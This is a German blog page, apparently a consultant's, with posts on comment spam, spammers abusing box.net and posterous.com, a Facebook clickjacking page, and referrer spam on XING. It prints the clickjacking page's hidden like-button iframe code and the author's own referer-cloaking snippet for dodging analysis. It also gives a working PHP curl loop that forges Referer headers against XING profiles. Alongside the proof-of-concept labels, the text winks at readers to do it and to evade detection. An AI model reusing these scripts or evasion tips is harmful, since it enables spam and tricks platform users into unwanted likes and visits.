webconsul

the best webconsul(ting)

[Comic] Constructive Blog Spamming

Sie sind hier: Startseite » Spam

Der neue Comic von xkcd really made my day :-)
Ich reg mich ja schon länger auf, dass intelligenter gespammt werden sollte, damit man mit den Kommentaren evtl. was anfangen kann. Dazu passt der Comic traumhaft:

Constructive Blog Spamming
Constructive Blog Spamming by xkcd

box.net als Parasite-Host für Spammer? Posterous.com auch

Sie sind hier: Startseite » Spam

Eine kurze Analyse der letzten Kommentare (mittlerweile tausende in verschiedenen Blogs) hat ergeben, dass irgendwelche PPC-Spammer (Pills, Porn, Casino ;) ) die Dienste von box.net und posterous.com für ihre Zwecke missbrauchen um dort ihre Inhalte hochladen um Nutzer dann auf die “guten” Angebote zu schicken.

Gerade mit tausenden Kommentaren in Blogs ranken diese Seiten, fliegen schnell aus dem Index, öffnen neue und das Spiel geht wieder von vorne los.
Bei den oben genannten Dienstleistern kann man ohne Schwierigkeiten mehrere tausend Accounts öffnen, da es dort keine Sicherheitsmaßnahmen gibt.

Ergibt in Summe (in diesem Blog) aller Spamkommentare von:

  • box.net: mit knapp 30% (genauer: 29,99)
  • posterous.com: mit knapp 40% (genauer: 40,27)

Somit mehr als 2/3 aller Kommentare linken auf die beiden Anbieter.

Jetzt ist natürlich die Frage, wie kann man die Dienste sinnvoll nutzen um die eigene SEO-Strategie zu erweitern und aufzupolieren. Meiner Meinung nach geht das ganz einfach, denn lediglich ein paar “Trusted Links” auf eines der Profile und schon gehts los ;-) Soll wohl funktionieren, also macht es.

Facebook Spam – Caught on Webcam Clickjacking

Sie sind hier: Startseite » Spam

Heute ist scheinbar der Tag des Spams. Genauso wie im vorherigen Artikel handelt dieser über Spam, genauer Facebook Spam und eine aktuelle Kampagne mit dem Titel “Caught on Webcam”.

Einen link dazu gibt es natürlich nicht, aber die Domain ist einfacherweise mit den drei Wörter, – statt Leerzeichen unter einer .info-Domain zu erreichen.

Ruft man die Seite auf, präsentiert sich auf dem Bildschirm folgender Inhalt:

Facebook Spam - Caught on Webcam


Auf den ersten Blick ist es nicht sonderlich spammy, sondern eher eine solide Altersfreigabe, da man den Inhalt ja vor jungen Augen schützen muss. Der geneigte Surfer wird sich dann gleich auf den “Verify”-Button stürzen um an den Inhalt zu kommen, wegen dem er ja gekommen ist.

Aber Vorsicht, denn genau hier lauert die Gefahr bzw. der Trick:

Facebook Spam - Caught on Webcam - Visible iFrame


In obigem Screenshot habe ich mit Firebug den Facebook-Like-Button aka “Gefällt mir” sichtbar gemacht.
Würde man sich also zielstrebig auf den Verify-Button stürzen, merkt man lediglich in seinem Profil, dass man eine doch eher unliebsame Seite “mag”.

Dies ist die bisher ausgefeilteste Taktik, die ich bei bisherigen Facebook-Clickjacking-Seiten gefunden habe. Wie ich damals geschrieben hatte, ist mittlerweile ein alter Hut.

Geschickt in diesem Beispiel ist auch, dass von der Startseite aus, eine weitere Datei vom Server geladen wird, die main.php. Ein Aufruf selbiger gibt nur die Meldung mit einem Link zur Startseite aus. Scheinbar will da jemand nicht, dass man direkt an den Quellcode kommt (weswegen auch der Rechts-Klick mit einem Alert-Fenster überschrieben wurde).

Der Button wird mit folgendem Code eingebunden und positioniert:
<div z-index:12; id="verify-button">                                    
  <div style="z-index:2; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0;opacity: 0.0;">
    <iframe src="http://www.facebook.com/plugins/like.php?href=caught-on-webcam.info%2F&layout=button_count&show_faces=true&width=450&action=like&colorscheme=light&height=21" allowTransparency="true"></iframe>
  </div>
  <div style="z-index:1;"><img src="http://i53.tinypic.com/dm6wjk.gif" ></div>      
  <div style="z-index:3;"><img onclick="share()" style="cursor:pointer" src="http://i54.tinypic.com/2ue4qy9.gif" ></div>
</div>

Die hervorgehobenen Stellen im obigen HTML-Code dienen allesamt zum Versteck und Positionierung des Like-iframes. Aus Lesbarkeitsgründen habe ich Angaben die Höhe, Breite, Umrandung und Co weggelassen.
Neben den unterschiedlichen CSS-Attributen opacity und filter:alpha und dem allowTransparency=”true” wird über eine geschickte Nutzung des z-index der “Verify”-Button in den Hintergrund (z-index: 1), der iframe darüber (z-index: 2) und darüber der valide (z-index: 3) “Share”-Button gelegt.
So dient alles seinem Zweck und der Nutzer klickt entweder auf “Gefällt mir” oder auf “Share” und der Spammer hat sein Ziel erreicht.

Das Wichtige an obigem Beispiel ist aber, dass die Seite wie eine App gestaltet ist und man eben über an die main.php nicht direkt herankommt.
Was ich mir gut vorstellen kann oder ich selbst machen würde ist, dass man mit

if($_SERVER["HTTP_REFERER"] == 'http://www.myspammysite.info/') {
  // clickjacking content
} else {
  // good content
}

den direkten Aufruf unterbindet und somit eine eingehendere Analyse vermeidet. Wird dies noch mit einer IP-Blacklist erweitert, die den internen Adressen des Facebook-Unternehmens entspricht, dann kann auch niemand verdacht schöpfen.
Bis zum Schrieb dieses Artikel konnten so knapp 65.000 (genauer 65,975) Besucher veräppelt werden.

Dies ist gerade mal wieder eine schöne Attacke die unter dem Radar fliegt. Viele von diesen geschickt ausgearbeitet und noch ein wenig modifiziert und man kann ein ziemlich großes Netzwerk damit aufbauen, ohne, dass irgendjemand etwas davon mitbekommt ;-)

Wie immer dient dieser Post als Proof-Of-Concept und sollte natürlich nicht nachgemacht werden.

Das Archiv der Originaldateien könnt ihr hier herunterladen: caught-on-webcam.info-Dateien (sowohl die index.html als auch eingebunde main.php)

Let’s Spam XING – oder wie man XING als Referrerspam missbrauchen kann

Sie sind hier: Startseite » Spam

Heute Morgen bin ich über einen Tweet auf eine interessant Meldung von Franz Neumeier gestoßen.
Dieser ist wie ich auf XING angemeldet und schrieb den Artikel Kreative Spam-Idee in XING.

Lest euch den Artikel durch, sodass ihr wisst, was mit folgendem Skript erreicht werden soll:
<?php

$names = [...]; // Array, Datenbank, Namensbuch, ...

for($i=0; $i<sizeof($names); $i++) {
   $site = 'http://www.myspammysite.info/?who='.$names[$i];
   $url = 'https://www.xing.com/profile/'.$names[$i];

   $c = curl_init($url);
   curl_setopt($c, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; ...) Gecko/20061204 Firefox/2.0.0.1");
   curl_setopt($c, CURLOPT_REFERER, $site);
   curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($c, CURLOPT_HEADER, 0);
   curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
   $r = curl_exec($c);
}
?>

Damit funktioniert die ganze Technik schon.
Über $names werden alle Namen geladen und im Schema Vorname_Nachname zusammengefügt und dann einfach über eine Schleife der Reihe nach geladen.
$site wird dabei immer auf den gewünschten Referrer gesetzt, sodass man seine Werbeseiten dort unterbringen kann.

Wie man das Skript genau modizifiert, dass es dem XING-System nicht auffällt und ihr unter dem Radar fliegen könntet, solltet ihr euch selbst überlegen.

Gerade da XING eine intelligente Zielgruppe anspricht, sollte man nicht unbedingt mit nackten Frauen oder Casinos Werbung machen, sondern vielleicht mit XY… ;-)

Auf jeden Fall ist es eine kreative Idee, die hier als Proof-Of-Concept dargestellt werden sollte.

Als XING-User kann man nichts dagegen unternehmen, XING selbst könnte allerdings solche Aufrufe erkennen und unterbinden.